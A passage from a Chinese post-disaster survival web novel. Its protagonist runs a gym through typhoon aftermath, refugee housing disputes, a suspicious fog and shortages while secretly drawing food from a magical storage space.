秦小薇叹了口气：“毕竟之前台风到Q省的时候，都不到十级，今天这股台风，可是有十一级……琳琳,快来帮忙，收拾完咱们做晚饭！” 其实之前网上就有专家预告过，说这次的台风是两股台风重合后形成的，破坏力比以往的台风都大……但公寓楼能堵的地方都堵上了，再加上陆昼说公寓楼是安全的，之前几波台风，他们也都平安度过了，秦小薇也就没太在意。 没想到…… 肖琳琳应了一声：“好！” 两人去浴室拿了拖把和扫把，打算先把地上的水和碎玻璃渣打扫干净。 因为窗户破了一个洞，外面雨又很大，一直有雨漏进来，肖琳琳看着窗户上的口子，有些替秦小薇犯愁：“薇薇，你家还能找到堵窗户的东西吗？” 秦小薇倒是一点都不担心：“应该有，等我找找，没有再想别的办法……先用塑料袋挡一挡吧！” 收拾完厨房，两人又做了一锅加了很多蔬菜丝的疙瘩汤，汤里加了猪油，秦小薇天天在空间里大吃大喝，觉得这顿饭挺清淡的。 但对已经啃了很多天能量饼干的肖琳琳来说，这已经算是“大餐”了。 她把碗里的疙瘩汤吃得干干净净，就差没舔碗了。 这次台风的威力特别大，不仅是秦小薇家和六楼走廊的窗户，其他楼层也出了问题，有一家三口因为住在走廊里，台风过后，人就直接不见了。 因为那层楼走廊上的窗户被破坏得很严重，大家都猜测，他们一家是被风吹跑了…… 但和安全屋相比，公寓楼的情况也没有多严重，至少除了那一家三口，楼里没有产生其他的伤亡。 有些安全屋，被台风从地面上“拔”起来了一部分，不仅把边上完好的安全屋压变形了，里面的人就算没失踪也受了很严重的伤；还有些安全屋，直接就从原地消失了！ 不过，宁市这边的情况还不是最严重的，因为台风眼并没有从宁市过去，只是擦了下边，有些受到风眼冲击的地方，连钢筋水泥建的房子都被台风掀了…… 剩下没损坏的安全屋，有些也变得没那么结实了…… 数据统计，这场超强台风过后，Q省的安全屋至少减少了六十分之一，单看比例，损失似乎并不大，但Q省人口基数庞大，换算成伤亡人数，这个数据就很恐怖了！ 网上有人说，安全屋的质量不过关，根本就不“安全”，待在里面根本撑不到灾难结束云云。 有些在这场台风里失去了家人的网友，直接把矛头指向市政，肆意在网上宣泄自己的情绪……不过，现在Q省很多地方都断电了，后两种人并不多。 很快，就有专家出来解释，说这次是因为两股台风融合，台风的风力连升两级，沿途的山脉也没能让台风的等级降低太多，才会造成这么大的破坏，按照现在的路径预测，后面的台风不会再造成这么大的破坏了。 这一波台风过去之后，众人又忙碌了起来。 公寓楼的人忙着加固楼道里的窗户，修补自己家被台风损坏的地方…… 秦小薇去楼下捡了一块不知道从哪吹来的铁皮，那块铁皮目测应该是安全屋的某个部位，它不知道在台风里经历了什么，已经完全变形了，主体也都不见了，只剩它一个孤零零地躺在被狂风暴雨肆虐过的马路上。 她用锤子把铁皮敲平了，之后用电钻打孔，把铁皮钉在窗框上，把厨房的窗户彻底封死了。 不得不说，经过她的“改造”后，厨房里一下子变丑了很多……但为了安全，这也是没办法的事！ 市政和社区原本已经放假的工作人员，也重新回到了自己的岗位上——有些安全屋已经不结实了，为了市民们的安全考虑，部分安全屋里的市民得转移去其他的地方…… 公寓楼附近的建筑保留下来了很多，这里自然也就成了首选。 之前，就只有商场、学校被市政征用，用于安置难民。 但今天白天，公寓楼来了很多市政的工作人员，他们带着盖过章的公告，征用公寓楼里商家的店铺，用于安置难民。 有些家里人比较少的住户，也被要求接纳难民，帮助同胞们共渡难关。 和上次那群想要空手套白狼的人不同，这次比较正规，公告上还写了房子征用后，会额外给一些补贴。 地震刚结束的时候，楼里有些商家就把自己的店铺高价租出去了，现在市政要安排难民过来，虽然说会给一些补贴，但和公寓楼高昂的租金相比，那点补贴根本就不够看。 之前的租客都是付了钱的，现在忽然要来一批没付钱的难民和他们一起住，自己的生活空间还要被压缩，他们都觉得自己吃亏了，自然是不愿意，纷纷去找房东要说法，还有直接要求房东退房租的…… 房东们也很郁闷，亏损了大半年，现在好不容易通过租房赚了点钱，忽然要切断他们的财路，他们也很不高兴。 但胳膊拧不过大腿，市政的工作人员过来通知他们的时候，身边是跟着持枪警察的，态度非常强硬…… 就算房东再怎么不愿意，也只能捏着鼻子忍了…… 秦小薇很忐忑，担心自己的健身房也被征用。 她倒不是不愿意配合市政的工作，主要是，台风过后，房子一时半会也建不起来，她担心请神容易送神难，之后那些人会赖在她的健身房……好吧，她其实就是不想把健身房“贡献”出去，让乱七八糟的人住！ 平时伸把手帮点小忙可以，但真要让她割肉帮别人，她也是不愿意的！ 她又不是圣母，没那么多奉献精神！ 秦小薇甚至都做好找陆昼走后门的准备了，但出乎她的意料，那群人竟然直接跳过了她名下的这几套房子，根本就没人来找她…… 健身房的众人也很惊讶，但联想到上次老板一个电话就搞定了那群过来占便宜的人，又觉得就应该是这样的……毕竟现在这个社会，有权有势的人还是有特权的。 就像住九楼的奚川，根本就没人去敲他们家的门，让他把房子让出来给难民住。 市政的工作人员离开后，秦小薇给陆昼打了个电话。 陆昼：“喂？有事？” 他的声音里带着一股难以掩饰的疲惫，想到市政那些忙碌的工作人员，秦小薇猜测，他从昨天到现在，应该也过得不轻松。 秦小薇：“之前公寓楼有人来征用房子，但是跳过了我的健身房和公寓，是不是你帮了忙？” 陆昼：“嗯，我打了个招呼。你打电话过来，难道是想和我说谢谢？” 秦小薇还没回话，他就又开口道：“嘴上说谢谢太没诚意了，你要是真想道谢，就来点实际的好处……” 秦小薇瞬间警惕：“你别想提不合理的条件，我是不会答应的！” 电话那头的人似乎轻轻笑了一声：“别这么警惕，我又不是什么洪水猛兽。” 秦小薇认真纠正他：“你是！所以我得随时做好战斗的准备！” 陆昼：“……” 陆昼：“算了，谢礼先欠着，我还有事，先挂了！” 挂断电话后，秦小薇忽然发现了不对，她打电话之前，不是只想口头感谢一下的吗？怎么忽然就变成欠他一份谢礼了？ 可恶！又被他套进去了！ 时间紧急，工作人员的工作效率被迫提高，他们离开后不到半个小时，就有卡车、大巴运了好几车人过来。 他们到的时候，楼下又开始下冰雹了，车里的人出来后，被砸得嗷嗷叫，却还是不得不拿着行李、顶着冰雹往楼里冲。 公寓楼一下子变得更热闹了…… 除了安置灾民，市政还出动了大量的搜救队，在宁市各地搜寻可能还幸存的市民…… 有些人比较幸运，台风过境后，依旧留下了一条小命；有些人就比较倒霉了，被找到的时候，就只剩一具尸体了。 经历过之前那波破坏力超强的台风后，秦小薇现在时不时就要打开手机看看台风的具体位置，生怕风眼会从宁市过…… 公寓楼变得愈发热闹了，因为健身房看上去太空了，楼里有新搬来的住户过来询问健身房是否对外出租，秦小薇没打算赚这个钱，通通拒绝了…… 公寓楼的人越来越多，产生的矛盾也越来越多，生存环境变差，随便一点小摩擦，就能让他们吵起来。 在楼里的住户第三次因为健身房外的免费充电位吵起来之后，秦小薇干脆收了外面的插线板，不再为邻居提供免费充电服务。 除此之外，还有一件事让她比较困扰，最近时常有人来她家借东西，有人借衣服，有人借工具，还有人借灶烧东西……这些人敲门不分时间，弄得她都不敢随便进空间了。 她有时候会答应，有时候会拒绝，主要看对方要借什么东西，还有她对对方的第一印象……对于她的区别对待，某些“新邻居”颇有微词，不过秦小薇也没在意。 她又不是钱，做不到让所有人都喜欢，再说了，就算是钱，这个世界上也有人不喜欢！ 秦小薇只能说，在一定的能力范围内，尽量和楼里的人保持和睦…… 后面几次台风到Q省的时候，威力没那么大了，基本上没造成太大的破坏。 一转眼，半个月过去了，某个平平无奇的傍晚，秦小薇收到了预警中心解除“封禁”的短信。 看到短信的内容后，秦小薇忍不住欢呼了一声，这一波灾难终于结束了！ 她的健身房可以重新开业了！ 与此同时，楼里其他人也兴奋地欢呼起来，有人跑出家门，在走廊里来回奔跑，还有人直接跑去了一楼，在外面的马路上一边狂奔，一边呼喊。 但外面的冰还没化，那人直接摔了个大马趴，但是他并不在意，爬起来拍拍膝盖，继续往前冲…… 晚上，健身房的众人难得熬了个夜，聚在一起，商量以后的事。 “希望以后多来点客户，多买一点我的课！” “市政应该会帮我们重新建房子吧？希望新房子能尽快建好！” “唉，我们公司都没了，这两个月连基础工资都没发，不知道之后是会宣布破产还是干什么……” “……” 健身房里，有人对未来充满希望，有人眼里满是担忧和迷茫。 但所有人都确定，不管未来的情况怎么样，他们都得继续走下去！ 第二天早上，秦小薇一打开手机，就收到了一条短信，是关于重建宁市的招工通知。 市政鼓励现在没有工作的普通市民参与到宁市的重建工作中来。 招工通知里给的报酬很少，只包三餐，并没有工资，但等房子建好之后，之前参与了建房的市民可以依据现在的工作时长抵扣一部分房租…… 秦小薇并不需要这份工作，她只扫了一眼公告，就合上了手机。 台风已经过去了，段霞和范槿一家也就没有理由继续住在这里了，昨天晚上，他们就收拾好了行李，打算今天一早就联系社区的工作人员，搬回安全屋，免得影响健身房开门做生意…… 今天难得天晴，秦小薇原本是想开窗通一下风的，但刚打开窗帘，她就看到外面雾蒙蒙的。 起雾了？ 想到陆昼之前的提醒，她的心头顿时笼罩了一层阴霾……这该不会是什么新的灾难的开始吧？ 还有完没完了？真是一点喘息的时间都不给他们！ 她想了想，还是没打开窗，秦小薇拿出手机，在群里发了条消息。 【秦小薇：外面起雾了，我在前台放两包口罩，大家出门的时候尽量戴口罩。】 【肖琳琳：外面的雾好像不是很大，等太阳出来了，应该就散了吧？】 【秦小薇：这半年极端天气太多了，大家还是小心一点吧！说不准这又是下一个极端天气的开始。】 【范槿：薇薇，你别吓我！】 【范大勇：是不是健身房的老板有什么小道消息了？】 【秦小薇：没有，我自己猜的，可能是我有点PTSD了，这都好几个月没起雾了，看到忽然起雾就觉得不正常……】 【范大勇：应该没事！上周也起了好几次雾，但是没过一会儿就散了，要是这雾真的有问题，网上应该会有人讨论，官方也会发通知。】 之前也起雾了？她最近连窗帘都很少拉开，倒是没注意到这件事。 秦小薇在心里记下这件事，打算有时间去找陆昼问问。 官方应该会比她更重视这件事，他们有专业的设备和人员，肯定知道更多的内幕消息。 她合上手机，去空间里吃了个早饭，想着今天第一天营业，她还烧水洗了澡洗了头…… 秦小薇昨晚就在账号上发布了健身房今天正式营业的消息，早上收拾完自己之后，她就去健身房看店了。 有几个员工要和自己的家人、男朋友见面，和秦小薇请了假，秦小薇估计今天的客人应该不会太多，就给她们放假了。 上午，公寓楼里非常热闹，按照市政工作人员之前的承诺，等台风结束，楼里的商家、住户，就不用再接纳市政强行安排过来的难民了。 外面有些空置的安全屋，只是没那么结实了，勉强还能住人。 但台风的时候，也报废了不少安全屋，生产安全屋的工厂又停工了，一时半会没法安排这些人的住处……一旦离开公寓，他们在外面连片遮风挡雨的瓦都没有，自然不愿意离开。 于是，他们就和房东发生了冲突，还有人拿刀把房东给捅了…… 他们人多，房东奈何不了他们，便只能找市政的人。 一早上，公寓楼附近的警笛声就没停过……这些人太难管，后面，警察甚至还动了枪！ 看着公寓楼里的乱象，秦小薇不由得庆幸陆昼之前帮忙打了招呼，没让市政的人安排难民过来。 真要是安排了好几百人进她的健身房，就算她和教练们再能打，也没法把人给轰出去。 最后，在警察的调解下，双方各退一步，无家可归的难民们给房主交房租，房主则留他们继续住在自己家里。 好在，外面还有一部分空置的安全屋能住人，楼里搬出去了不少人，没之前那么拥挤了。 这事足足闹了三天才出结果，秦小薇吃瓜都快吃撑了，看到那些难民耍赖皮的各种骚操作，她甚至开始感叹，之前在银行工作的时候，见识还是太少了……人要是真的放下底线了，那真是什么事都能干得出来！ 段霞已经 复工了，按照社区的安排，她要是想搬出去，就得去Q大挤十几个人一间的学生宿舍……好在她干活的工厂现在有简易的员工宿舍了，上下班也方便，她就直接搬过去了、 范槿一家之前在安全屋的床位已经被其他人占了，范妈妈找了关系，但没联系到空床位。 秦小薇便联系了陆昼，让他帮忙弄了三个床位，让范槿一家先搬过去。 至于他们之前放在健身房的行李……刚好仓库里没什么货，工厂那边也不确定什么时候能补货，秦小薇便把他们的东西都搬到仓库里放着了。 这三天，健身房的生意依旧是不温不火的，每天过来上课的会员只有小猫三两只，秦小薇却一点都不着急。 地震过后，她的健身房现在在宁市算是独一份的，她又天天在网上宣传，普通人要是有需求，自然会找上门。 全市独一份的生意，还怕赚不到钱吗？ 宁市的重建工作已经轰轰烈烈地开工了，地震过后，市里很多企业、公司都破产了，失业人数一下子翻了好几倍，失业的市民就算想找工作，也不知道该去哪里找。 有些人选择离开宁市，去受灾没那么严重的城市找找机会；还有些人则打算“躺平”，靠存款过活，反正能量饼干和饮用水很便宜，他们之前的工资够他们撑很久了；还有人则积极响应市政的号召，直接去报名建房子…… 因为人口基数庞大，就算参与重建工作的市民比例并不高，也有好几十万人了，这些人加在一起，建房的速度是很恐怖的。 有了这些人的加入，被灾难肆虐过后的宁市，几乎是一天一个样…… 有人离开，也有人来宁市找机会，因为和周围其他城市相比，宁市现在的情况甚至能称得上“好”，至少这一个多月，宁市没直面过台风眼的破坏力！ 第79章 第79章小吃街（双更合一）…… 上午,秦小薇在健身房拖地打发时间的时候，手机突然连续“叮”了两声，收到了两条短信。 看完短信的内容后,秦小薇瞬间兴奋起来。 一款她之前充了月卡的游戏今天重新开服了,为了弥补玩家们的游戏体验,游戏公司还给她发了兑换码，补偿了她一些游戏资源。 连着寡了两个月,又有游戏玩了！ 她瞬间没了打扫卫生的心思,放下拖把，就躲到角落里玩游戏去了。 登录游戏,领了一堆资源后，秦小薇发现，游戏还出了新活动……希望其他的游戏也能重新开服！她已经迫不及待了！ “啊！好痛！”健身房忽然传出一声尖锐的惨叫,秦小薇手抖了一下,手下控制的人物差点死了。 她顺着声音看过去，就见一个学员捂着自己的左肩单膝跪在地上，一副十分痛苦的模样,学员边上则站着一位被她吓了一跳的教练。 见那位会员似乎是在上课的过程中受了伤，秦小薇也顾不上操纵游戏里的角色了,她点了挂机,就跑去前台找医药箱了。 秦小薇提着医药箱走到两人身边，询问教练：“出什么事了？” 教练：“我刚碰了她一下，她就说肩膀疼……” 秦小薇倒是没怀疑教练在狡辩,她冲着跪在地上的年轻女孩温声开口道：“我扶你去办公室检查一下吧？我这里有药……” “嗯。”女孩看着她手上的医药箱，点了点头。 秦小薇和教练一起，把女孩从地上扶了起来，进了办公室后,女孩脱了上衣，让两人检查肩膀上的伤。 看到女孩裸|露在外面的皮肤后，在场的两人都忍不住倒吸一口凉气。 她的皮肤很白，此时，后背大片的皮肤都被各种青紫的痕迹占据了，看上去有些触目惊心。 联想到部分女学员的经历，秦小薇有了些不好的猜测：“你身上这些伤，是被人打的？” 女孩却摇了摇头：“不是，我之前买物资回去的路上下冰雹了，身上是被冰雹砸的……” 听到她的解释，秦小薇再次倒吸一口凉气。 被冰雹砸的？她就算是把人当沙包揍，都得费一番力气，才能把人揍出这么严重的伤吧……冰雹的杀伤力也太恐怖了！ 看到她惊讶的表情，女孩笑了下：“我当时穿了厚棉衣，缓冲了一部分伤害，我这都不算很严重，我邻居胳膊都被砸折了，成了这样的……” 她伸手比划了一个拱形。 “他去医疗点看，医生说要手术复位，但是当时没条件，就只能等，我估计他以后可能要残疾……” 教练一手按着女孩的肩膀，一手握住她的手腕，让她做了几个动作。 “这样疼不疼？这样呢……” 片刻之后，教练的表情严肃起来：“你的肩膀可能不只是伤到了肌肉……我建议你去医院拍个片。” 女孩：“啊？不会吧？我觉得我已经好得差不多了，我在家躺了一个多星期，已经不怎么疼了，就是胳膊不能往后伸……” 秦小薇的表情也严肃起来：“你这种情况，我们是不建议你继续上课的，最好是等肩膀养好了再来，否则可能会伤上加伤……收益太低了，不划算！” 看到两人的表情，女孩有些犹豫：“那我的课时费……” 秦小薇：“你可以以后再来上课，你看，地震后那么多家店铺都倒闭了，就我们店还在营业，我们老板是有实力的……你要是实在不放心，我也可以给你退费。” 见她说得坦荡，女孩最后还是没有提出退费，穿好衣服，揉着肩膀就离开了。 解决完这个小插曲，秦小薇就又窝到角落里玩手机去了。 没过多久，外面又传来一阵争吵声，她拿着手机，朝着门口走去。 秦小薇问前台：“外面吵什么呢？” 前台：“不知道从哪跑过来一群人，要在楼道里打地铺，把走廊都给占满了，隔壁正在和他们吵呢！” 听到前台的话，秦小薇忍不住皱眉。 把走廊都占满了？那不是会影响她做生意？ 她推开大门，走了出去，外面的争吵声也更加明显了。 “走廊是公共区域，又不归你家管，凭什么我不能住？” “就凭这房子是我买的！就凭我交了物业费！” “你们住在这，把路都堵了，要是发生火灾了怎么办？到时候楼里的人都没法逃生！” “我们也是没办法，要是外面还有能遮风挡雨的地方，我们也不会跑到这里来讨嫌……你们就行行好，让我们住下来吧！” “保安上班了吗？别和他们废话，直接叫保安吧！” “……” 走廊上，有两群人正在对峙，两方中间隔着一段距离，显示出一种泾渭分明的姿态。 一方是楼里的住户，还有一方，则是一群不知道从哪冒出来的难民。 和楼里的住户不同，他们每个人看起来都很憔悴，眼神灰暗，身上的衣服都很脏，行李箱也是千疮百孔，有几个人脸上、手上都长了冻疮。 虽然这些难民看着很可怜，但秦小薇还是选择站在住户那边……她也不想有人在自己家门口打地铺，楼里的隔音这么差，门口真要是 住了人，她在屋里干点什么，外面的人都能听到，这也太没安全感了！ 两方人闹了一会儿，没一会儿，复工没几天的保安来了。 但对方人数太多，保安也奈何不了他们……闹到最后，他们又报警了！ 因为前几天刚和警察打过交道，业主们报警打的还是警察的私人电话…… 秦小薇：感觉再多来几次，警察都要把他们楼里的人认全了！ 除了六楼，楼下也聚集了不少难民，这些人都是从隔壁省来的，之前特大台风的时候，他们一整个村子的安全屋都被台风掀翻了，村子里的村民伤亡过半，他们是因为搬到了山上的山洞里，才逃过一劫。 但台风过后，村里一直没人过来组织救援，物资也断了…… 他们以为镇上和县里的情况会好一些，但是去了才知道，镇上和县里因为人口密集，情况更糟糕…… 他们觉得在村子里待着没活路了，才想办法来了情况更好一点的Q省。 秦小薇觉得，他们还是来错地方了，Q省的情况其实也没好太多，真要是想找出路，就该去那些躲过了地震、台风、冰雹的“幸运城市”。 不过也不一定，今年的天灾实在是太频繁了，谁又能保证，一座城市能一直“幸运”下去呢？ 都是普通人，人家所求的也不过是能有个遮风挡雨的地方而已，所以警察来了之后，态度依旧是以调解为主，甚至还想让楼里的住户继续接纳这些难民…… 公寓楼已经够拥挤了，业主们自然是不愿意。 僵持了大半天，最后，那些人被警察安排去了阴冷的地下停车场，出于人道主义精神，警察还赞助了他们十几顶帐篷。 地下停车场因为常年不见光，温度原本就低，再加上现在外面的冰还没完全融化，室外温度一直维持在0℃左右。 连着奔波了好几天，这些人的身体状态原本就不好，估计在停车场打一段时间地铺，就要生病了…… “秦小薇，你的车是不是还停在停车场，要不我帮你挪一挪？”警察离开之后，一个胖胖的男人殷勤地凑到了秦小薇身边。 上次台风天救了他之后，他就对秦小薇表达了好感，虽然秦小薇拒绝的态度非常明显，但他还是锲而不舍，总是找各种机会和她偶遇。 就算秦小薇大部分时间都宅在家里，他也能在她下楼扔垃圾的时候和她偶遇…… 秦小薇拒绝道：“不用了，刘达，我前几天就挪好车了。” 男人的表情看起来有些失落：“我姓王，叫王达。” 秦小薇面无表情地回道：“不好意思，记错了！” 王达挠了挠头，笑得十分憨厚：“没事，你下次记住就行了！” 秦小薇：她下次还会记错的！ 唉，这家伙怎么就不知道知难而退呢！当舔狗是不会有好结果的！ “薇薇！”身后忽然有人叫她的名字。 秦小薇一回头，就看到穿着一身暖白色冲锋衣的陆昼正笑意盈盈地看着她，他大步走了过来，伸手揽住秦小薇的肩膀：“不是说一会儿就下来吗？怎么一直没下来？” 虽然陆昼的语气和动作都十分亲昵，但揽着她的那只手却是虚扶着的，只轻轻挨着她的衣服。 秦小薇看了他一眼，瞬间明白了他的意思。 纠结了0.1秒后，她顺着陆昼的话开口道：“怎么，让你等一下，你还不愿意了？” 说着，她还用拳头捶了下陆昼的胸口，差点把他捶得一个趔趄摔倒。 陆昼咬牙继续演：“没有不愿意，就是有点担心你……” 两人一副小情侣旁若无人打情骂俏的模样。 王达的表情有些难看：“秦小薇，他是？” 陆昼冷下脸看着他：“我们俩的关系，你看不出来吗？” 王达：“……” 王达离开后，陆昼飞快放开秦小薇，他飞快后退几步，瞬间和她拉开距离。 陆昼伸手揉了下刚刚被锤的地方：“秦小薇，你恩将仇报啊！” 秦小薇：“谁让你突然碰我的？我刚刚没给你一个过肩摔，都算是能忍了……” 陆昼：“我帮你解决了一朵烂桃花，你怎么连句谢谢都没有？上次不还挺有礼貌的吗？” 秦小薇翻了个白眼：“就算你不整这死出，我也有办法让他死心……你来干什么？” 陆昼：“当然是有事找你，给你打了电话，你一直没接，就上来看看。” 秦小薇拿出手机看了看，手机上果然有好几通未接来电和未读短信，可能是刚刚太吵了，她没听到。 她四处看了看，走廊里的人还没完全散去，这里不是说话的好地方。 她冲着陆昼开口道：“去我家说吧！” 陆昼：“嗯。” 关上门之后，陆昼直接递给她一份文件：“挑一套，我让人给你留着。” “什么东西？”秦小薇接过文件看了看，发现是一沓图纸。 陆昼解释道：“新建的安全屋，条件比这栋公寓好，后面住个十来年不成问题……你先挑一套，晚了就被其他人瓜分完了……” 秦小薇仔细看着文件上的内容，新的安全屋是建在地下的，建筑群非常庞大，分了很多区。 有几个区全是面积很小的单人间，还有几个区，则是各种房型都有……甚至还有“独栋别墅”！ 地底都能搞出独栋别墅，只能说，有钱人还是太会享受了！ 秦小薇：“你选了哪里？” 陆昼抱着手臂斜倚在墙上：“怎么？想和我当邻居？” 秦小薇直接怼回去：“别自恋了！我是想离你远一点！” 陆昼：“我应该不会搬过去，不过我也留了一套房子，在这里……” 他翻到图纸的某一页，指了指上面被红笔画圈的地方。 秦小薇飞快浏览了一遍所有的文件，她试探地开口道：“所有的屋子我都可以选，包括别墅？” 陆昼点头：“嗯。” 秦小薇认真研究了一下，最后选了个离陆昼的房子很远的地方。 陆昼也没提出反对意见，找她要了支笔，在上面画了个圈，才收起文件。 陆昼：“之后我让设计师联系你，你直接告诉他，你想要什么样的装修风格……再给我一些肉和菜，我要带回去。” 秦小薇进空间里，用蛇皮袋给他装了一袋肉和菜。 秦小薇：“我直接送你车里去，你这样提出去，被人看到了不好解释……” 陆昼：“嗯。” 两人是坐电梯下去的，秦小薇按电梯的时候，特地跳过了其中一台。 放在电梯里的那具尸体已经被她的家人拉到外面火化了，电梯也被楼栋里的保洁消毒过一遍了，但这部电梯，楼里还是很少有人坐。 大家都觉得，坐这部电梯的时候可以闻到尸臭，非常影响食欲，晚上还会做噩梦…… 被排泄物弄脏的一楼大厅也被人清扫干净了，但因为拖了一段时间，大厅里一直有股隐隐约约的臭味，秦小薇每次下楼的时候，都会下意识屏住呼吸…… 附近人太多了，下楼后，秦小薇直接上了陆昼的车，打算让他把车开去一个隐蔽的地方，她再往车里放食材。 她前脚刚坐上副驾驶，后脚就看到警察押着一群人从公寓楼走了出来。 看到那一张张略微有些熟悉的面孔，她按下车窗：“你们终于舍得清理蛀虫了？” 被警察押着的，正是之前想强占她健身房的那群人。 她后来才知道，这群人是专门负责安置这片区域的难民的，来她的健身房完全是以权谋私…… 陆昼顺着她的视线朝窗外看了一眼，语气淡漠：“不需要他们干活了，自然是该清算了。” 说着，他直接启动了车子。 秦小薇：“对了，前段时间起了好几次雾，上面有研究出什么吗？” 陆昼也没卖关子，直接和她说了结论：“雾里有一种细小的纤维，浓度不高的时候可以通过痰排出体外，浓度高的话，会在肺里形成结节，导致肺纤维化……不过问题不是很大，口罩可以过滤掉这些细小的纤维，口罩厂已经在扩大生产了。” “那就好！”知道有应对的措施，秦小薇悄悄松了一口气。 附近人流太多，路上有点堵车，陆昼开了十来分钟，才把车子开出去了几百米…… 秦小薇嫌弃附近堵车堵得太厉害，回来的时候，没让陆昼送，她是自己走路回来的。 路过小吃街的时候，她发现冷清了大半年的小吃街又有人摆摊了，她有些好奇，便过去逛了逛。 里面几乎没有卖食物的商家，大部分摊主卖的都是一些日用品，有些还是二手的，看上面的痕迹，秦小薇猜测，这些东西可能是他们从废墟里挖出来的…… 因为倒塌的建筑不断被清理，这几天，宁市催生出了一种新的职业，他们称呼自己为“掘金者”——主要就是从废墟里淘一些值钱的东西，俗称“捡破烂”。 因为地震过后又经历了冰雹和台风，再加上地震前大家都有准备，贵重物品基本上都随身带着，这些人一般只在网上接单，然后根据单主的要求，去废墟里淘一些还能用的生活用品。 地震摧毁了太多工厂，在这种情况下，有些工厂想要重新复工，比前几次困难很多，一些生活用品一时半会很难恢复供应，就算有些人不愿意用二手的，这个时候，也没条件让他们挑挑拣拣…… 秦小薇逛了一圈，附近人很多，大家的需求也多，部分小摊贩的生意非常好，想要买东西还得靠抢。 因为现在能量饼干和饮用水都得花钱买，市政也明确表示过，之后房子建好了，大家得花钱租，所以大家买东西的时候用的还是钱。 就是物价有些乱，感觉商家的定价，有点……随心所欲。 比如说同一个牌子的降压药，入口的摊子可能卖300一盒，往里走一段，可能就只要200一盒，或是99一盒了。 不过因为不是正规的店铺，大家都默认摊子上的东西是可以讲价的……所以小吃街非常热闹，到处都人声鼎沸。 在小吃街逛了一圈后，秦小薇回了健身房，找出之前刚开业的时候打印的传单，她和前台抱着传单去了楼下，在附近贴了些小广告宣传…… 一转眼，一周过去了，秦小薇也渐渐习惯了公寓楼愈发吵闹的生活。 至少，现在就算半夜门口有人吵架，她被吵醒后也能迅速重新入睡……睡眠质量可以说是越来越好了！ 因为市里的“无业游民”太多，再加上附近又聚集了很多人，这次灾难过后，附近的治安情况竟然越变越差，楼下每天都能听到无数次警笛声，也正是因为如此，健身房的生意渐渐好了起来。 秦小薇甚至有种错觉，她的健身房就是发灾难财的…… 这天中午，秦小薇吃完酸汤肥牛面从空间里出来的时候，发现手机里多了通范槿的未接电话。 她打开寝室群看了看，群里并没有新消息，她便直接回拨了回去。 秦小薇：“喂，饭饭，你怎么忽然给我打电话？” 范槿的声音里带着一丝窘迫：“薇薇，健身房现在还缺人吗？我、我失业了……暂时找不到新工作，想来兼职。” 秦小薇愣了一下，随后回道：“缺啊！最近生意一下子好了很多，我都没时间打游戏了，今天上午一直在给会员做体能训练，连喝口水的时间都没有，要不是之前拍了点宣传视频，我都要断更了……饭饭，你要是能过来帮忙，我就不用另外找人了。” 范槿：“真的吗？” 秦小薇：“咱俩之间还有什么真的假的……你什么时候能来上班？工资还是和之前一样，我给你按天算。” 范槿：“明天吧！” 第二天，范槿过来上班的时候，秦小薇才知道，不仅是她，范妈妈也失业了，他们家的传统是女主外男主内。 这么多年，一直是范妈妈负责赚钱养家，范爸爸照顾家里，洗衣做饭。 今年，他们家消耗了不少存款，现在房子又没了，范爸爸觉得不能坐吃山空，便去工地搬砖了。 范爸爸的腰一直不好，范槿不想让他压力这么大，便想继续工作，赚点钱缓解她爸爸的压力…… 第二天，秦小薇发现别的市有新鲜蔬菜和肉蛋运来宁市了，她开着车去外面逛了一圈，回来的时候，她的后备箱里装满了物资。 她没急着上去，反而是给肖琳琳打了个电话，让她带两个教练下来搬东西。 很快，肖琳琳她们就推着小推车下来了：“薇薇，是货到了吗？” 台风还没结束的时候，秦小薇就给厂家打了电话，询问他们什么时候能补货。 这段时间，她定的货陆续到了一些，就是经历过天灾后，货物的残次品有点多，她们得一个个检查，然后联系厂家退款。 秦小薇打开后备箱：“不是，是员工福利……” 第80章 第80章捞人（双更合一）…… 看到后备箱里的东西后,几人震惊地瞪大了眼睛：“店长，你去抢超市了？” 后备箱里，是几筐整齐排列的蔬菜和鸡蛋,除了后备箱,后排的座椅上也放了好几个塑料筐。 秦小薇：“我哪有这个胆子？是老板给大家弄的员工福利,让大家改善伙食的！” 肖琳琳：“咱们老板也太有实力了，上午移动物资车才上新了新鲜食材,我去晚了没抢到,还想着明天早上早点起床去排队呢！没想到晚上老板就给我们弄来了……” 这些东西，都是秦小薇空间出产的。 蔬菜是机器人种的,机器人太勤劳，她空间里的蔬菜都快爆仓了；鸡蛋则是养鸡场出产的，教练们平时活动量很大,不补充一点蛋白质,很容易掉肌肉。 为了显得“逼真”，让这些东西看起来是批发来的，秦小薇还学着之前在批发市场看到的蔬菜,给这些东西“摆盘”。 她把菜整齐地码在塑料筐里，白菜外面套了防震的保护网套,鸡蛋上挨个盖了章,鸡蛋还用珍珠棉鸡蛋托装着。 包装的材料还是陆昼之前囤货的时候买的，他原本是打算自己用的，没想到先让秦小薇用上了…… 秦小薇：“你们先把东西搬上去,我去停车。” “好！”众人纷纷行动起来。 在路边找地方停好车之后，秦小薇就上楼了。 食材搬上楼之后，员工们并没有动，而是堆在柜台边上等秦小薇过来给她们分。 秦小薇直接按照人头数,把蔬菜和鸡蛋给她们平分了。 秦小薇：“你们有锅吗？需要我借两口锅给你们吗？” 肖琳琳：“有个烧水的电锅。” 秦小薇：“那就行。” 分完东西后，有个教练忽然冲着秦小薇开口道：“店长，老板能给咱们弄到粮油吗？没有米饭面条，吃饭的时候，我总觉得缺了点什么……” 秦小薇：“不确定，我有空问问老板……” 其实，小麦她已经积累了好几千份了，完全不愁吃，拿点小麦粉让员工们改善生活也没什么压力。 但是把小麦变成面粉的工序有点多，自己磨的面粉和工业生产的还不太一样，颜色略微有点泛黄，拿出来不太好解释……看看以后能不能想到好办法吧！ 因为她们每个人出门的时候，手上都拿着一堆新鲜食材，还引起了楼里不少人的围观，有人问她们东西是从哪买的，还有人问她们食材卖不卖…… 众人说是健身房的员工福利，其他人也没有怀疑，毕竟之前台风的时候，楼里普通住户家都被市政的工作人员强行安排了难民入住，但健身房那么空，却一个人都没安排进去。 楼里有人觉得不公平，偷偷摸摸打了举报电话，但健身房却半点没受影响，里面的人照旧是每天嘻嘻哈哈，关起门过自己的小日子。 之后大家就都知道了，健身房的老板和九楼的奚川一样，都是有背景的，和他们这种普通人不一样…… 现在宁市的物 资供应渐渐恢复了，老板给员工们弄些员工福利，似乎也很合理。 分完东西，秦小薇把几个塑料筐拿回了家，准备放空间里，以后重复利用。 然后，她进空间里给自己做了顿饭。 晚饭她吃的是椒盐虾配她自己做的手撕包菜，吃饭的时候，她还用烤箱烤了几个蛋挞当饭后甜点。 